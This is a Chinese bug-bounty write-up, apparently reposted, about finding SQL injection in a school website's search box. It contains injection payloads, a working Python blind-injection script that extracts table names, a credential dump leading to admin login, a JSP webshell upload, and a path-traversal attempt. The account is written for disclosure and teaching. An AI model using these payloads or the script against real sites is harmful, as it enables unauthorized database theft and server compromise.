记一次曲折的edu挖洞

记一次曲折的edu挖洞

​ 在挖edusrc时,对着某站的搜索框进行测试时突然发现了sql注入,但没想到这才是噩梦的开始。

尝试联合查询

​ 访问url/search.jsp?key=12'页面显示了500,但是访问url/search.jsp?key=12'--+页面回显正常,冥冥中感觉存在了SQL注入。

​ 接着开始fuzz字符,发现也没有过滤啥字符。

​ 开始使用order by获得表的列数,访问url/search.jsp?key=12'order by 18--+页面是正常的,访问url/search.jsp?key=12'order by 19--+页面显示500,判断出列数为18,当我开心的以为的可以通过union联合查询进行注入时,500了!!!Payload:url/search.jsp?key=-12'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+,emmmmm虽然不知道为啥报错了,但是很明显不能用,换个思路继续。

尝试布尔盲注

​ 测试 url/search.jsp?key=12'or 1=0--+url/search.jsp?key=12'or 1=1--+发现回显的内容又不一样了,如下图

​ 这么简单的Payload都能测试成功,于是直接上了sqlmap开始跑,但是没有结果。一脸疑惑,只能试试可不可以写脚本了,先用了一个最简单的脚本试试

import requests

url = "url/search.jsp"

content = "select database()"

for i in range(1,30):
    sql = "?key=12'or length(({}))={}--+".format(content,i)
    res = requests.get(url=url+sql)
    print(res.url)
    if u"18.12.3—18.12.7" in res.text:
        print(i)
        break

​ 但是上来就报错了(在教室上课时测试的,见谅看)

​ 改来改去还是报错在不停报错,期间问过Firebasky师傅,他说他之前也遇到了,并且给我了解决方案(如下),我测试了一下,报错还是存在的,看来并不是这个问题,不过这里还是记录学习了。

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
#解决https ssl问题
requests.packages.urllib3.disable_warnings()

​ 于是,我手动二分法测试出来了database()的长度为11,接着继续测试脚本,发现1-10都没问题,一旦到了11就报错,于是我单独使用Python的方式访问url/search.jsp?key=12'or length((select database()))=11--+,还是报错。这时候我有了一个大胆的想法:当or后面的条件为真时,脚本访问就会报错,而为假时,访问就没任何问题。以此为条件构造脚本,这里利用了try...except...语句构造脚本好脚本(是拿LemonPrefect师傅之前比赛的二分法注入脚本改的),如下:

import requests

url = "url/search.jsp"

def main():
    result = ""

    for i in range(1, 200):
        low = 32
        high = 128
        while low < high:
            mid = int((low + high) / 2)
            # content = "select database()"  #school_lvdi
            content = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
            sql = f"?key=12'or ascii(substr(({content}),{i},1))<{mid}--+"
            try:
                requests.get(url=url+sql)
                low = mid + 1
            except:
                try:
                    requests.get(url=url + sql)
                    low = mid + 1
                except:
                    high = mid

            print("[+] After changing we got {} to {}".format(low, high))
        if low == high == 32:
            print("[*] Result is: {}".format(result))
            break
        print("[+] Now has {}".format(i))
        result += chr(int((high + low - 1) / 2))
        print("[*] Result now is: {}".format(result))

if __name__ == '__main__':
    main()

​ 这里使用两次try...except...来判断,因为这种判断本来就不是特别可靠的,可能会因为网络的原因存在一定的问题,从而导致注入出来的字符存在一定乱码,使用两次则可以大大改善这个情况。

尝试Getshell(失败)

​ 数据库中有个表sys_user存在两个列ACCOUNTPASSWORD,从中获得了后台的登录账号密码。登录后台后,发现可以上传附件,并且可以上传jsp马

​ 但是死活找不到jsp马的路径,再看别的文章时突然想到通过附件地址应该和照片的位置一样的,于是去找了照片的地址,但是照片的地址格式时这样的url/school/Image-getImage.action?imageName=f3f86c90-bc38-4578-8853-58c853805a69.png,应该是用了文件包含的方式进行的,尝试去访问jsp马,emmmmm访问到了但是不解析,如下图

​ 既然是文件包含的功能,试试是否存在目录穿梭读取任意文件,想要去读网站的index.jspsearch.jsp但都不太行,Payload差不多是这样的url/school/Image-getImage.action?imageName=../../../../index.jsp

结语

​ 剩下看了一下没有啥功能了,提交漏洞,溜了溜了。在挖edu时,从网站的功能下手是一个不错的选择,尤其是搜索框很有可能就有SQL注入的漏洞,但是由于是黑盒测试,要自己判断它的SQL语句,还要判断数据库类型,是否存在过滤,还是需要很多经验。共勉!!

本文来源于: https://xz.aliyun.com/t/9448

相关推荐

网络层ICMP隧道研究

网络层ICMP隧道研究 [TOC] ICMP隧道概念 介绍:ICMP协议常用于我们判断网络是否可达的ping命令,它不同于其他通讯协议的地方在于:它在进行通讯时不需要开放端口,并且计算机防火墙不会屏蔽ping数据包,实现不受限制的网络访问。

test

测试

大数据框架Hue命令执行技巧

目前大数据是一个流行趋势,多数企业采用开源大数据框架来处理复杂的大体量数据,大数据管理平台Hue 是一个Web应用,用来简化用户和Hadoop集群的交互,技术架构从总体上来讲采用的是B/S架构,该web应用的后台采用python编程语言编写

Cisco RV345路由器高危漏洞研究分享

0x0 前言 思科公司是全球领先的网络解决方案供应商。依靠自身的技术和对网络经济模式的深刻理解,思科成 为了网络应用的成功实践者之⼀。 0x1 简介 关键点:upload.cgi中的fileparam参数,可以参考:https://www.

Fuzz Server With AFL

Problem 因为个人偏爱AFL,习惯用AFL做模糊测试,发现一些CVE,但是一直苦于AFL的工作方式,由于AFL只能够从stdin/file获取输入,变异。 而网络应用多是socket或者其他network相关的通信方式,而且默认情况下

MS12-027及利用样本分析

0x00 前言 分析环境: OS版本:Windows 7 Service Pack 1 x86 Office版本:Professional 2007 MSCOMCTL.OCX版本:6.01.9545 该版本MSCOMCTL.OCX存在两处缓

记一次不曲折的校内站点渗透

前言 备考的时候偶然点了进了本校内网的某个站点 , 停下了复习(直接拔剑) 测试到注入 http://url/newdetail.aspx?id=11999' or 1=1 -- 直接Sqlmap一把过 , 连waf都没得(狗头) 随便看看

网康防火墙前台RCE及分析

漏洞描述 网康下一代防火墙(NGFW)是网康科技推出的一款可全面应对网络威胁的高性能应用层防火墙。凭借超强的应用识别能力,下一代防火墙可深入洞察网络流量中的用户、应用和内容,借助全新的高性能单路径异构并行处理引擎,在互联网出口、数据中心边界

记一次不曲折的校内站点渗透

前言 备考的时候偶然点了进了本校内网的某个站点 , 停下了复习(直接拔剑) 测试到注入 http://url/newdetail.aspx?id=11999' or 1=1 -- 直接Sqlmap一把过 , 连waf都没得(狗头) 随便看看

记一次不曲折的校内站点渗透

前言 备考的时候偶然点了进了本校内网的某个站点 , 停下了复习(直接拔剑) 测试到注入 http://url/newdetail.aspx?id=11999' or 1=1 -- 直接Sqlmap一把过 , 连waf都没得(狗头) 随便看看

CommonsCollections1-8

CommonsCollections1 CC链基本的点就是在前两个链中,所以我会着重偏向前两个链的介绍,后期的链基本就是换汤不换药,我会适当简略; LazyMap.get()中: public Object get(Object key)